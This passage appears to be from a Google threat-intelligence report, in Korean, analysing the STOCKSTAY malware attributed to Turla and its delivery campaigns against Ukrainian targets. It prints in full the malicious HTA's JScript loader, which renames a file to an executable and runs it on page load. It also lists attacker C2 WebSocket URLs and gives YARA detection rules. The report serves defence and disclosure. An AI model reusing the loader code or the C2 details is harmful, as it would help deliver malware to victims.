“ClientMNGR2.exe”라는 이름의 첫 번째 샘플은 이전에 관찰된 버전들과 일치하였으나, “GR3.exe”라는 이름의 두 번째 샘플은 대량의 정크 코드와 이전에 알려지지 않은 문자열 난독화 메커니즘을 사용하여 고도로 난독화되어 있었습니다. GTIG는 이 난독화 메커니즘을 K1MORPHER(K1_MORPH_ER)로 추적하며, 이후 모든 핵심 STOCKSTAY 구성 요소 및 KAZUAR의 일부 특정 샘플에 이 메커니즘이 포함된 것을 관찰했습니다. 이는 STOCKSTAY가 Turla가 활용하는 다른 악성코드와 동일한 개발 에코시스템 내에 존재한다는 신뢰도를 높여줍니다.
표 14: 파일 지표
2025년 5월 28일 ~ 8월 8일: 우크라이나 — 악성 HTA를 통한 배포
2025년 8월 8일, GTIG는 “calculator.rar”라는 RAR 아카이브가 VirusTotal에 제출된 것을 식별했습니다. 이 아카이브는 최소 2025년 7월 22일부터 우크라이나 IT 기업 소유의 해킹된 인프라에 호스팅되어 있었습니다. 이 아카이브에는 “Калькулятор грошового забезпечення військовослужбовців 2025.hta”(번역: "군인 급여 계산기 2025.hta")라는 이름의 악성 HTA 파일이 포함되어 있었습니다 [1]. 이 HTA는 그림 9에 표시된 코드를 사용하여 아카이브에도 포함되어 있던 STOCKSTAY.MARKETMAKER 다운로더의 변종을 실행하도록 설계되었습니다.


그림 8: 군인 급여 계산기 2025.hta에 의해 표시된 유인 HTML 페이지
<script language="JScript">
function renameAndRunFile() {
try {
var oldName = "calculator_2025_files\\styles.dat";
var newName = "calculator_2025_files\\styles.dat.exe";
var fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FileExists(oldName)) {
if (fso.FileExists(newName)) {
fso.DeleteFile(newName);
}
fso.MoveFile(oldName, newName);
var shell = new ActiveXObject("WScript.Shell");
shell.Run('"' + newName + '"', 1, false);
} else {
}
} catch (e) {
}
}
window.onload = function() {
renameAndRunFile();
};
</script>
그림 9: 군인 급여 계산기 2025.hta에 포함된 JavaScript 코드
STOCKSTAY.MARKETMAKER 변종은 우크라이나에 위치한 두 번째 해킹된 서버에서 핵심 STOCKSTAY 구성 요소를 포함하는 ZIP 아카이브인 “EditorToolsPdf.zip”을 가져왔으며, 이번에는 해킹된 워드프레스(WordPress) 인스턴스 내에 아카이브를 호스팅하고 있었습니다.
군사 계산기 유인 아카이브 내의 수정 타임스탬프 분석 결과, 이 작전은 “calculator_2025_files” 폴더 콘텐츠의 대다수가 마지막으로 수정된 2025년 5월 28일까지 거슬러 올라가는 것으로 나타났습니다. STOCKSTAY.MARKETMAKER 실행 파일은 2025년 6월 5일에 마지막으로 수정되었으며, 악성 HTA 파일은 2025년 6월 10일에 수정되었습니다.
STOCKSTAY 아카이브에 대한 이와 유사한 검사 결과, 환경 설정 파일은 2025년 6월 4일에 수정된 반면, 아카이브 자체는 2025년 6월 5일에 해킹된 서버에서 마지막으로 수정된 것으로 나타났습니다. 이러한 일련의 과정은 초기 피싱 유인책에 대한 수정 작업이 이루어지는 동안, 완전한 STOCKSTAY ZIP 아카이브가 해킹된 인프라에 스테이징되었음을 보여줍니다.
GTIG는 신뢰할 수 있는 제3자를 통해, STOCKSTAY 아카이브를 호스팅하는 데 사용된 우크라이나 서버의 최초 침해가 2025년 5월 13일 또는 그 이전에 발생했음을 확인할 수 있었습니다.
표 15: 파일 지표
표 16: 네트워크 지표
2025년 7월 23일 ~ 28일: 행위자의 GitHub를 통한 STOCKSTAY MSI 파일 호스팅
GTIG는 위협 행위자가 STOCKSTAY를 테스트하거나 배포하기 위해 사용한 것으로 의심되는 GitHub 계정을 식별했습니다. GitHub 계정인 Roberto1983-ai는 2025년 7월 23일 12:01:03에 생성되었습니다.
2025년 7월 24일, 해당 계정은 msi_installer_test2라는 이름의 공개 저장소를 생성하였고, 여기에 단일 파일인 DiplomacyEduAI.msi를 업로드했습니다. 동일한 사용자에 의해 2025년 7월 28일에 msi_installer_test3이라는 이름의 두 번째 저장소가 생성되었으며, 이후 또 다른 버전의 DiplomacyEduAI.msi 파일이 업로드되었습니다.
두 버전의 DiplomacyEduAI.msi 모두 핵심 STOCKSTAY 구성 요소를 포함하고 있었으며, wss://canal1zac1a.onrender.com/ws라는 WebSocket C2 URL을 포함하는 환경 설정 파일도 동반되었습니다. GTIG는 현재 이 특정 MSI 파일들을 사용하는 가동 중인 작전을 식별하지 못했습니다.
표 17: 파일 지표
표 18: 네트워크 지표
2025년 8월 14일: 행위자의 GitHub를 통한 STOCKSTAY 서버 코드 호스팅
GTIG는 STOCKSTAY C2 통신을 처리하기 위한 서버 측 코드로 평가되는 파일을 호스팅하고 있는 두 번째 GitHub 계정을 식별했습니다. GitHub 계정인 ChikenFresh는 2025년 8월 14일에 생성되었으며, 거의 즉시 google-ai-labs-it라는 이름의 공개 저장소를 생성하여 의심되는 C2 컨트롤러 코드를 업로드했습니다. C2 컨트롤러에 대한 우리의 분석은 본 보고서 앞부분의 악성코드 분석 섹션에 포함되어 있습니다.
이 GitHub 저장소 이름은 Render 플랫폼에서 실행되는 것으로 식별된 STOCKSTAY C2 서버와 일치하나, GTIG는 이 인프라를 사용하는 가동 중인 작전을 관찰하지 못했습니다. 우리는 위협 행위자가 Render 플랫폼의 WebSocket 호스팅 기능을 활용하기 위해 이 GitHub 저장소를 그들의 Render 계정에 연결했다고 분석합니다.
표 19: 파일 지표
표 20: 네트워크 지표
2025년 11월: 우크라이나 — 드론 주제 유인책 및 CVE-2025-8088을 통한 배포
2025년 11월 6일, GTIG는 드론을 주제로 한 UKR.NET 이메일 계정에서 약 20개의 우크라이나 기반 대상을 향해 발송된 피싱 이메일 묶음을 식별했으며, 각 이메일에는 고유한 ukr.net 파일 공유 링크가 포함되어 있었습니다. 각 링크는 핵심 STOCKSTAY 구성 요소를 설치하기 위해 WinRAR의 경로 통과 취약점(CVE-2025-8088)을 악용하는 악성 RAR 아카이브로 연결되었습니다. 이러한 피싱 활동의 지속적인 징후가 2025년 11월 12일과 14일에 관찰되었습니다. 우리는 이 피싱 이메일 수신자 중 약 30%만이 이메일을 열어본 것을 식별했으나, 이들 중 얼마나 많은 개인이 악성 페이로드를 다운로드하거나 실행했는지는 확인할 수 없습니다. 잠재적인 계정 탈취에 대한 예방 조치로 영향을 받는 모든 Google 계정에 추가 인증 확인 마커가 설정되었습니다. Google은 또한 정부 지원 공격 경고(Government Backed Attack Warning, GBAW) 알림을 통해 영향을 받는 사용자들에게 이 사실을 통보했습니다.
GTIG는 악성 RAR 아카이브 내에서 우크라이나 군인을 표적으로 삼은 것으로 보이는 두 가지 고유한 유형의 우크라이나어 위장 문서를 식별했습니다. 첫 번째인 “Донесення БпЛА 06.11.2025.docx”(“UAV report 06.11.2025.docx”, UAV 보고서)는 “2025년 11월 6일 기준 제1여단 방어 구역 내의 UAV 가용성/필요성, 상태, 부대별 각 UAV 승무원의 가용성 및 교육에 관한 보고서”라고 주장했습니다 (그림 10 참조).


그림 10: 2025년 11월의 "보고서" 위장 문서
“Товари(докладніше).docx”(“Products (more details).docx”, 제품 상세) 및 “Приклади товарів для листа (деталізовано).docx”(“Examples of products for the letter (detailed).docx”, 서신용 제품 예시 상세)로 관찰된 두 번째 위장 문서는 주로 “전술 의학”, “통신 및 감시 장비”, “장비 및 생존 장비”, “차량 자산”을 언급하는 장비 목록으로 구성되어 있었습니다 (그림 11 참조).


그림 11: 2025년 11월의 "장비 목록" 위장 문서
각 위장 문서에는 피해자의 머신에서 위협 행위자가 모니터링할 가능성이 높은 사이트로 연결되도록 유도하는 외부 이미지 참조가 포함되어 있어, 문서가 열렸음을 신호로 보냅니다. GTIG는 위장 문서가 참조하는 URL이 해킹된 인프라에서 호스팅되고 있을 수 있다고 판단합니다.
GTIG는 이 작전 중에 배포되는 것이 관찰된 STOCKSTAY 인스턴스에 탐지 저항력을 높이기 위한 개선 사항이 포함되어 있음을 식별했으며, 구체적으로 기능을 외부 모듈로 분리해 냈습니다. 이 외부 모듈들은 표 21에 표시된 파일 이름을 사용하여 정상적인 Windows 라이브러리를 모방하도록 명명되었습니다.
표 21: 2025년 11월에 관찰된 STOCKSTAY 구성 요소 파일명
GTIG는 이 피싱 파동 동안 두 개의 고유한 STOCKSTAY WebSocket C2 URL이 사용되는 것을 관찰했습니다. 대다수의 인스턴스는 wss://driverx86-adobe.onrender.com/ws URL을 사용했으나, 우리는 ChikenFresh 사용자와 관련된 앞서 기술한 GitHub 저장소에 해당하는 wss://google-ai-labs-it.onrender.com/ws를 사용하는 STOCKSTAY 인스턴스를 최소 하나 이상 식별할 수 있었습니다.
핵심 STOCKSTAY 구성 요소와 함께, 악성 RAR 아카이브에는 각 핵심 STOCKSTAY 구성 요소에 해당하는 “Updater Shortcut”(업데이터 바로가기)으로 기술된 LNK 바로가기 파일이 포함되어 있었습니다. 추출 파일 경로는 시작 프로그램 디렉터리에 배포를 시도하도록 구성되어 있었습니다.
GTIG는 이 작전을 위한 LNK 파일 생성이 첫 번째 피싱 이메일이 발송되기 약 6시간 전에 시작되었으며, 우크라이나어 유인 문서들은 약 4시간 전에 생성되었음을 식별할 수 있었습니다.
표 22: 파일 지표
표 23: 네트워크 지표
속성 (Attribution)
GTIG는 다음 사항을 바탕으로, STOCKSTAY 에코시스템 및 관련 활동의 배후를 Turla와 연계된 것으로 높은 신뢰도로 평가되는 위협 클러스터로 규명합니다.
-
STOCKSTAY는 명령어를 처리하는 동안 키릴 자모(Cyrillic script)를 지원하기 위해 특별히 설계된 인코딩인 Windows-1251을 사용합니다. 이는 동유럽, 발칸 반도 또는 중앙아시아와 연계된 개발 또는 운영 환경을 나타냅니다.
-
STOCKSTAY는 최근 유사한 시간대 내에 두 악성코드 패밀리 모두에 K1MORPHER 문자열 난독화가 도입되었다는 점을 바탕으로, Turla의 전용 툴킷으로 널리 알려진 KAZUAR과 코드 중복을 공유합니다.
-
GTIG는 Turla의 피해자 방향 KAZUAR C2 인프라의 일부를 호스팅하는 것으로도 식별된 해킹된 인프라에서 STOCKSTAY가 배포되는 것을 관찰했습니다.
Turla는 우크라이나 국방 및 군사 조직을 표적으로 삼는 데 일관되게 집중하고 있으며, 맨디언트(Mandiant)의 침해 사고 대응 과정에서 WILDDAY, DIAMONDBACK, KAZUAR 등 다양한 Turla 전용 악성코드와 함께 STOCKSTAY를 배포한 사실이 식별되었습니다.
탐지
Google Security Operations (SecOps)
SecOps 고객은 배포 예정인 다음 규칙들을 이용할 수 있습니다. 완전히 배포되면, 이 규칙들은 Mandiant Frontline Threats, Mandiant 헌팅(Mandiant Hunting) 및 Mandiant Intel Emerging Threats 룰 팩에서 제공될 예정입니다:
-
Windows 시작 프로그램으로 아카이브 추출
-
레지스트리 실행 키에 레지스트리 쓰기
-
Run 레지스트리 키에 레지스트리 쓰기
-
피싱을 통한 잠재적인 RDP 파일 쓰기
-
스테이징 디렉터리에서 시작된 RDP 연결
-
Onrender 서브도메인의 의심스러운 DNS 쿼리 (Onrender Subdomain Suspicious DNS Query)
YARA Rules
rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects encrypted configuration files associated with STOCKSTAY."
hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"
strings:
$s1 = "\"SystemConfiguration\""
$s2 = "An application for getting information about current events on trading platforms"
$s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
$s4 = "The `SystemConfiguration` field stores the system settings of the application."
$s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
$s6 = "wss://"
condition:
uint16(0) == 0x227B // {"
and 4 of ($s*)
}rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects early configuration files associated with STOCKSTAY."
hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"
strings:
$key_required_1 = "\"List 1\""
$key_required_2 = "\"List 2\""
$key_required_3 = "\"List 3\""
$key_dummy_1 = "\"BinanceApi\""
$key_dummy_2 = "\"CoinbaseCloudApi\""
$key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
$key_dummy_4 = "\"ByBitApi Spot\""
$key_dummy_5 = "\"ByBitApi Linear\""
$key_dummy_6 = "\"Info level\""
$key_dummy_7 = "\"Rate info\""
$key_dummy_8 = "\"Info level\""
condition:
uint8(0) == 0x7B // {
and filesize > 500
and all of ($key_required_*)
and 3 of ($key_dummy*)
}rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"
strings:
$internal_id_1 = "\"internal_id\""
$internal_id_2 = "\"i_id\""
$internal_key_1 = "\"internal_key\""
$internal_key_2 = "\"i_k\""
$interval_engine_1 = "\"interval_engine\""
$interval_engine_2 = "\"ie\""
$level_info_1 = "\"level_info\""
$level_info_2 = "\"li\""
$time_scale_1 = "\"time_scale\""
$time_scale_2 = "\"ts\""
$span_min_1 = "\"span_min\""
$span_min_2 = "\"mx1\""
$span_max_1 = "\"span_max\""
$span_max_2 = "\"my1\""
$rate_1 = "\"rate\""
$rate_2 = "\"rt_x_y\""
$rate_control_1 = "\"rate_control\""
$service_1 = "\"service\""
$service_2 = "\"srv\""
$days_not_work_1 = "\"days_not_work\""
$days_not_work_2 = "\"dnw\""
$system_properties_1 = "\"system_properties\""
$system_properties_2 = "\"sp\""
condition:
any of ($internal_id*)
and any of ($internal_key*)
and any of ($interval_engine*)
and any of ($level_info*)
and any of ($time_scale*)
and any of ($span_min*)
and any of ($span_max*)
and any of ($rate*)
and any of ($service*)
and any of ($days_not_work*)
and any of ($system_properties*)
}rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects code for parsing crypto containers within STOCKSTAY components."
hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"
strings:
$s1 = "BuildCryptoContainer"
$s2 = "ParseCryptoContainer"
$s3 = "Windows-1251" wide
$s4 = "AesCryptoServiceProvider"
$s5 = "RSACryptoServiceProvider"
condition:
uint16(0) == 0x5a4d
and all of them
}rule G_Backdoor_STOCKSTAY_WindowNames_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects STOCKSTAY window names."
hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"
strings:
$import = "_CorExeMain"
$s2 = "SMEditorPage" wide
$s3 = "SMNetPage" wide
$s4 = "StockMarketViewPage" wide
$s5 = "window_system32_x128" wide
$s6 = "window_system32_x64" wide
$s7 = "window_system32_x32" wide
condition:
$import
and any of ($s*)
}rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"
strings:
$f1 = "CheckAutoRun"
$f2 = "SetupAutoRun"
$f3 = "DownloadAndExtractZip"
$f4 = "GetSystemProxy"
$s0 = "_CorExeMain"
$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
$s2 = "StockMarketView.exe" wide
$s3 = "SMNet.exe" wide
$s4 = "SMEditor.exe" wide
condition:
all of them
}rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"
strings:
$f1 = "ProtocolMessageConnect"
$f2 = "ProtocolMessageEnd"
$f3 = "ProtocolMessagePing"
$f4 = "ProtocolMessageRequestRecv"
$f5 = "ProtocolMessageRequestSend"
$f6 = "ProtocolMessageTask"
$f7 = "ProtocolMessageTaskSysinfo"
$f8 = "TMR_AppInit_Tick"
$f9 = "TMR_Engine_Tick"
$f10 = "TMR_KeepAlive_Tick"
$f11 = "TMR_PingNet_Tick"
$f12 = "TMR_PingSystem_Tick"
$f13 = "GetDataTrade"
$f14 = "GetDataNews"
$f15 = "InsertDataTrade"
$f16 = "InsertDataNews"
$sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
$sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
$sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
$sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
$sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
$sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide
condition:
8 of ($f*)
and any of ($sql*)
}rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"
strings:
$s1 = "_CorExeMain"
$s2 = "ProtocolMessageStatusConnection"
$s3 = "ProtocolMessageResult"
$s4 = "ProtocolMessageEnd"
$s5 = "OnGetDataFromServer"
$s6 = "webSocket"
$s7 = "wmCopyData"
$s8 = "tempStorage"
condition:
all of them
}rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"
strings:
$cmd_1 = "AppDel"
$cmd_3 = "AppDeleteRegistryValue"
$cmd_4 = "AppDir"
$cmd_5 = "AppGet"
$cmd_6 = "AppMkdir"
$cmd_7 = "AppPut"
$cmd_8 = "AppReadRegistryValue"
$cmd_9 = "AppRegistryKeyExists"
$cmd_10 = "AppRmdir"
$cmd_11 = "AppRun"
$cmd_12 = "AppWriteRegistryValue"
$cmd_13 = "AppUnpackArchive"
$cmd_14 = "ArchiveFiles"
$cmd_15 = "GetFiles"
$cmd_16 = "Sysinfo"
$hash_1 = {ea8e5e34}
$hash_2 = {3445694e}
$hash_3 = {f73e97b6}
$hash_4 = {9aa70c59}
$hash_5 = {18b496c9}
$hash_6 = {0f716ebc}
$hash_7 = {8e2d79ce}
$hash_8 = {3ae2a963}
$hash_9 = {35d26840}
$hash_10 = {6c41d6bc}
$hash_11 = {1fdbbb2f}
$hash_12 = {6ae6578d}
$hash_13 = {66732be7}
$hash_14 = {0b113b3d}
condition:
uint16(0) == 0x5a4d
and (
12 of ($cmd*)
or 10 of ($hash*)
)
}rule G_Hunting_K1MORPHER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"
strings:
$plain_api_1 = "Squirrel3"
$plain_api_2 = "DecryptArraySimple"
$plain_api_3 = "DecryptIntSimple"
$plain_api_4 = "DecryptLongSimple"
$plain_api_5 = "DecryptFloatSimple"
$plain_api_6 = "DecryptStringSimple"
$plain_api_7 = "DecryptDoubleSimple"
$plain_api_8 = "_squ_ui1"
$plain_api_9 = "_squ_ui2"
$plain_api_10 = "_squ_ui3"
$plain_api_11 = "InjectedSeedCipher"
condition:
dotnet.is_dotnet
and 5 of ($plain_api*)
}rule G_Hunting_K1MORPHER_2 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"
strings:
$squirrel3_code_1 = {
00 // nop
03 // ldarg.1
0A // stloc.0
06 // ldloc.0
7E ??????04 // ldsfld <token>
5A // mul
0A // stloc.0
06 // ldloc.0
02 // ldarg.0
58 // add
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
64 // shr.un
61 // xor
0A // stloc.0
06 // ldloc.0
7E ??????04 // ldsfld <token>
58 // add
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
62 // shl
61 // xor
0A // stloc.0
06 // ldloc.9
7E ??????04 // ldsfld <token>
5A // mul
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
64 // shr.un
61 // xor
0A // stloc.0
06 // ldloc.0
0B // stloc.1
2B 00 // br.s 40
07 // ldloc.1
2A // ret
}
condition:
dotnet.is_dotnet
and all of them
}rule G_Hunting_K1MORPHER_3 {
meta:
author = "Google Threat Intelligence Group"
description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"
strings:
$squirrel3_code_1 = {
03 // ldarg.1
7E??????04 // ldsfld <token>
5A // mul
02 // ldarg.0
58 // add
25 // dup
1E // ldc.i4.8
64 // shr.un
61 // xor
7E??????04 // ldsfld <token>
58 // add
25 // dup
1E // ldc.i4.8
62 // shl
61 // xor
7E??????04 // ldsfld <token>
5A // mul
25 // dup
1E // ldc.i4.8
64 // shr.un
61 // xor
2A // ret
}
condition:
dotnet.is_dotnet
and all of them
}감사의 글
기술적 검토를 지원해 준 Gabby Roncone의 도움이 없었다면 이번 분석은 불가능했을 것입니다. 또한, 이 위협에 대응하여 협력해준 GitHub에도 감사의 뜻을 전합니다.
